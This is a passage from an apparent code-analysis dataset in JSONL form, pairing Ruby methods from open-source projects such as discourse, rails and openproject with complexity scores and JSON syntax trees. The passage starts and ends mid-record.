"@kerberos_authenticator\"]},\"get_message_encryptor\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ap_rep_enc_part\"]},\"subkey\"]},{\"type\":\"ivar\",\"children\":[\"@client_sequence_number\"]},{\"type\":\"lvar\",\"children\":[\"server_sequence_number\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"rc4_pad_style\"]},{\"type\":\"sym\",\"children\":[\"eight_byte_aligned\"]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@session_key\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ap_rep_enc_part\"]},\"subkey\"]},\"value\"]}]}]}]}","id":"9b5c3a1c-8de5-4d2a-b05f-e4672d5397b2"} {"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/severity.rb","start_line":62,"raw_source":"def <=>(other)\n level <=> other.level\n end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"<=>\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"other\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"level\"]},\"<=>\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other\"]},\"level\"]}]}]}","id":"0c849e3a-5417-4ac0-a2b2-86d04306ae67"} {"repo_name":"openproject","file_path":"./repos/openproject/db/migrate/tables/oauth_applications.rb","start_line":34,"raw_source":"def self.table(migration) # rubocop:disable Metrics/AbcSize\n create_table migration do |t|\n t.string :name, null: false\n t.string :uid, null: false\n t.string :secret, null: false\n t.string :owner_type\n t.bigint :owner_id\n t.bigint :client_credentials_user_id\n t.text :redirect_uri, null: false\n t.string :scopes, null: false, default: \"\"\n t.boolean :confidential, null: false, default: true\n t.timestamps precision: nil, null: false\n # Add owner of an application\n t.foreign_key :users, column: :owner_id, on_delete: :nullify\n # Allow to map a user to use for client credentials auth flow\n t.foreign_key :users, column: :client_credentials_user_id, on_delete: :nullify\n t.references :integration, polymorphic: true\n t.column :enabled, :boolean, default: true, null: false\n t.column :builtin, :boolean, default: false, null: false\n\n t.index :uid, unique: true\n t.index %i[owner_id owner_type]\n end\n end","complexity_score":22.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"table\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"migration\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"lvar\",\"children\":[\"migration\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"string\",{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"string\",{\"type\":\"sym\",\"children\":[\"uid\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"string\",{\"type\":\"sym\",\"children\":[\"secret\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"string\",{\"type\":\"sym\",\"children\":[\"owner_type\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"bigint\",{\"type\":\"sym\",\"children\":[\"owner_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"bigint\",{\"type\":\"sym\",\"children\":[\"client_credentials_user_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"text\",{\"type\":\"sym\",\"children\":[\"redirect_uri\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"string\",{\"type\":\"sym\",\"children\":[\"scopes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"boolean\",{\"type\":\"sym\",\"children\":[\"confidential\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"timestamps\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"precision\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"foreign_key\",{\"type\":\"sym\",\"children\":[\"users\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"sym\",\"children\":[\"owner_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"on_delete\"]},{\"type\":\"sym\",\"children\":[\"nullify\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"foreign_key\",{\"type\":\"sym\",\"children\":[\"users\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"sym\",\"children\":[\"client_credentials_user_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"on_delete\"]},{\"type\":\"sym\",\"children\":[\"nullify\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"references\",{\"type\":\"sym\",\"children\":[\"integration\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"polymorphic\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"column\",{\"type\":\"sym\",\"children\":[\"enabled\"]},{\"type\":\"sym\",\"children\":[\"boolean\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"column\",{\"type\":\"sym\",\"children\":[\"builtin\"]},{\"type\":\"sym\",\"children\":[\"boolean\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"index\",{\"type\":\"sym\",\"children\":[\"uid\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unique\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"index\",{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"owner_id\"]},{\"type\":\"sym\",\"children\":[\"owner_type\"]}]}]}]}]}]}","id":"ad554a48-c5b3-46bd-bf15-e9456678d40a"} {"repo_name":"liquid","file_path":"./repos/liquid/test/integration/parsing_quirks_test.rb","start_line":31,"raw_source":"def test_error_on_empty_filter\n assert(Template.parse(\"{{test}}\"))\n\n with_error_modes(:lax) do\n assert(Template.parse(\"{{|test}}\"))\n end\n\n with_error_modes(:strict) do\n assert_raises(SyntaxError) { Template.parse(\"{{|test}}\") }\n assert_raises(SyntaxError) { Template.parse(\"{{test |a|b|}}\") }\n end\n end","complexity_score":16.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_error_on_empty_filter\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Template\"]},\"parse\",{\"type\":\"str\",\"children\":[\"{{test}}\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_error_modes\",{\"type\":\"sym\",\"children\":[\"lax\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Template\"]},\"parse\",{\"type\":\"str\",\"children\":[\"{{|test}}\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_error_modes\",{\"type\":\"sym\",\"children\":[\"strict\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raises\",{\"type\":\"const\",\"children\":[null,\"SyntaxError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Template\"]},\"parse\",{\"type\":\"str\",\"children\":[\"{{|test}}\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raises\",{\"type\":\"const\",\"children\":[null,\"SyntaxError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Template\"]},\"parse\",{\"type\":\"str\",\"children\":[\"{{test |a|b|}}\"]}]}]}]}]}]}]}","id":"cf1ca161-2d42-4e70-adf8-91c0709608c2"} {"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-cakeday/app/jobs/onceoff/fix_invalid_date_of_birth.rb","start_line":5,"raw_source":"def execute_onceoff(args)\n UserCustomField\n .where(name: \"date_of_birth\")\n .where(\"value != ''\")\n .find_each do |custom_field|\n begin\n Date.parse(custom_field.value)\n rescue ArgumentError\n custom_field.update!(value: \"\")\n end\n end\n end","complexity_score":9.5,"ast_json":"{\"type\":\"def\",\"children\":[\"execute_onceoff\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"args\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UserCustomField\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"date_of_birth\"]}]}]}]},\"where\",{\"type\":\"str\",\"children\":[\"value != ''\"]}]},\"find_each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"custom_field\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"parse\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"custom_field\"]},\"value\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"custom_field\"]},\"update!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]}]},null]}]}]}]}","id":"30bf16f9-f593-4269-af4e-2b08819fbfcb"} {"repo_name":"chatwoot","file_path":"./repos/chatwoot/lib/integrations/slack/slack_message_helper.rb","start_line":2,"raw_source":"def process_message_payload\n return unless conversation\n\n handle_conversation\n success_response\n rescue Slack::Web::Api::Errors::MissingScope => e\n ChatwootExceptionTracker.new(e, account: conversation.account).capture_exception\n disable_and_reauthorize\n end","complexity_score":13.6,"ast_json":"{\"type\":\"def\",\"children\":[\"process_message_payload\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"conversation\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"handle_conversation\"]},{\"type\":\"send\",\"children\":[null,\"success_response\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Slack\"]},\"Web\"]},\"Api\"]},\"Errors\"]},\"MissingScope\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ChatwootExceptionTracker\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"e\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"account\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"conversation\"]},\"account\"]}]}]}]},\"capture_exception\"]},{\"type\":\"send\",\"children\":[null,\"disable_and_reauthorize\"]}]}]},null]}]}","id":"ff59d85e-6e06-4416-8b10-7889ee812496"} {"repo_name":"rails","file_path":"./repos/rails/activesupport/test/cache/behaviors/cache_increment_decrement_behavior.rb","start_line":34,"raw_source":"def test_read_counter_and_write_counter\n key = SecureRandom.uuid\n @cache.write_counter(key, 1)\n assert_equal 1, @cache.read(key, raw: true).to_i\n\n assert_equal 1, @cache.read_counter(key)\n assert_equal 2, @cache.increment(key)\n assert_equal 2, @cache.read_counter(key)\n\n assert_nil @cache.read_counter(SecureRandom.alphanumeric)\n end","complexity_score":18.3,"ast_json":"{\"type\":\"def\",\"children\":[\"test_read_counter_and_write_counter\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"key\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SecureRandom\"]},\"uuid\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@cache\"]},\"write_counter\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@cache\"]},\"read\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"raw\"]},{\"type\":\"true\",\"children\":[]}]}]}]},\"to_i\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@cache\"]},\"read_counter\",{\"type\":\"lvar\",\"children\":[\"key\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[2]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@cache\"]},\"increment\",{\"type\":\"lvar\",\"children\":[\"key\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[2]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@cache\"]},\"read_counter\",{\"type\":\"lvar\",\"children\":[\"key\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@cache\"]},\"read_counter\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SecureRandom\"]},\"alphanumeric\"]}]}]}]}]}","id":"7916ff12-f585-4055-9c49-66ee63fb1628"} {"repo_name":"discourse","file_path":"./repos/discourse/script/bulk_import/discourse_merger.rb","start_line":118,"raw_source":"def copy_users\n puts \"\", \"merging users...\"\n\n imported_ids = []\n\n usernames_lower = User.unscoped.pluck(:username_lower).to_set\n\n columns = User.columns.map(&:name)\n sql = \"COPY users (#{columns.map { |c| \"\\\"#{c}\\\"\" }.join(\",\")}) FROM STDIN\"\n\n @raw_connection.copy_data(sql, @encoder) do\n source_raw_connection\n .exec(\n \"SELECT #{columns.map { |c| \"u.\\\"#{c}\\\"\" }.join(\",\")}, e.email FROM users u INNER JOIN user_emails e ON (u.id = e.user_id AND e.primary = TRUE) WHERE u.id > 0\",\n )\n .each do |row|\n old_user_id = row[\"id\"]&.to_i\n if existing = UserEmail.where(email: row.delete(\"email\")).first&.user\n # Merge these users\n @users[old_user_id] = existing.id\n @merged_user_ids << old_user_id\n next\n else\n # New user\n unless usernames_lower.add?(row[\"username_lower\"])\n username = row[\"username\"] + \"_1\"\n username.next! until usernames_lower.add?(username.downcase)\n row[\"username\"] = username\n row[\"username_lower\"] = row[\"username\"].downcase\n end\n\n row[\"id\"] = (@last_user_id += 1)\n @users[old_user_id] = row[\"id\"]\n\n @raw_connection.put_copy_data row.values\n end\n imported_ids << old_user_id\n end\n end\n\n @sequences[User.sequence_name] = @last_user_id + 1 if @last_user_id\n\n create_custom_fields(\"user\", \"id\", imported_ids) do |old_user_id|\n { value: old_user_id, record_id: user_id_from_imported_id(old_user_id) }\n end\n\n copy_model(\n EmailToken,\n skip_if_merged: true,\n is_a_user_model: true,\n skip_processing: true,\n mapping: @email_tokens,\n )\n\n copy_model(UserEmail, skip_if_merged: true, is_a_user_model: true, skip_processing: true)\n end","complexity_score":91.75,"ast_json":"{\"type\":\"def\",\"children\":[\"copy_users\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"str\",\"children\":[\"merging users...\"]}]},{\"type\":\"lvasgn\",\"children\":[\"imported_ids\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"usernames_lower\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"unscoped\"]},\"pluck\",{\"type\":\"sym\",\"children\":[\"username_lower\"]}]},\"to_set\"]}]},{\"type\":\"lvasgn\",\"children\":[\"columns\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"columns\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"sql\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"COPY users (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"columns\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]}]},{\"type\":\"str\",\"children\":[\"\\\"\"]}]}]},\"join\",{\"type\":\"str\",\"children\":[\",\"]}]}]},{\"type\":\"str\",\"children\":[\") FROM STDIN\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@raw_connection\"]},\"copy_data\",{\"type\":\"lvar\",\"children\":[\"sql\"]},{\"type\":\"ivar\",\"children\":[\"@encoder\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"source_raw_connection\"]},\"exec\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"SELECT \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"columns\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"u.\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]}]},{\"type\":\"str\",\"children\":[\"\\\"\"]}]}]},\"join\",{\"type\":\"str\",\"children\":[\",\"]}]}]},{\"type\":\"str\",\"children\":[\", e.email FROM users u INNER JOIN user_emails e ON (u.id = e.user_id AND e.primary = TRUE) WHERE u.id > 0\"]}]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"row\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"old_user_id\",{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"id\"]}]},\"to_i\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"existing\",{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UserEmail\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"email\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"delete\",{\"type\":\"str\",\"children\":[\"email\"]}]}]}]}]},\"first\"]},\"user\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@users\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"old_user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"existing\"]},\"id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@merged_user_ids\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"old_user_id\"]}]},{\"type\":\"next\",\"children\":[]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"usernames_lower\"]},\"add?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"username_lower\"]}]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"username\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"username\"]}]},\"+\",{\"type\":\"str\",\"children\":[\"_1\"]}]}]},{\"type\":\"until\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"usernames_lower\"]},\"add?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"username\"]},\"downcase\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"username\"]},\"next!\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"username\"]},{\"type\":\"lvar\",\"children\":[\"username\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"username_lower\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"username\"]}]},\"downcase\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"id\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"op_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@last_user_id\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@users\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"old_user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"id\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@raw_connection\"]},\"put_copy_data\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"values\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"imported_ids\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"old_user_id\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@last_user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@sequences\"]},\"[]=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"sequence_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@last_user_id\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_custom_fields\",{\"type\":\"str\",\"children\":[\"user\"]},{\"type\":\"str\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"imported_ids\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"old_user_id\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"lvar\",\"children\":[\"old_user_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"record_id\"]},{\"type\":\"send\",\"children\":[null,\"user_id_from_imported_id\",{\"type\":\"lvar\",\"children\":[\"old_user_id\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"copy_model\",{\"type\":\"const\",\"children\":[null,\"EmailToken\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"skip_if_merged\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"is_a_user_model\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"skip_processing\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mapping\"]},{\"type\":\"ivar\",\"children\":[\"@email_tokens\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"copy_model\",{\"type\":\"const\",\"children\":[null,\"UserEmail\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"skip_if_merged\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"is_a_user_model\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"skip_processing\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}","id":"7804c11f-9c20-4b66-94f4-6954c8932324"} {"repo_name":"discourse","file_path":"./repos/discourse/app/models/color_scheme.rb","start_line":483,"raw_source":"def colors_hashes\n color_scheme_colors.map { |c| { name: c.name, hex: c.hex } }\n 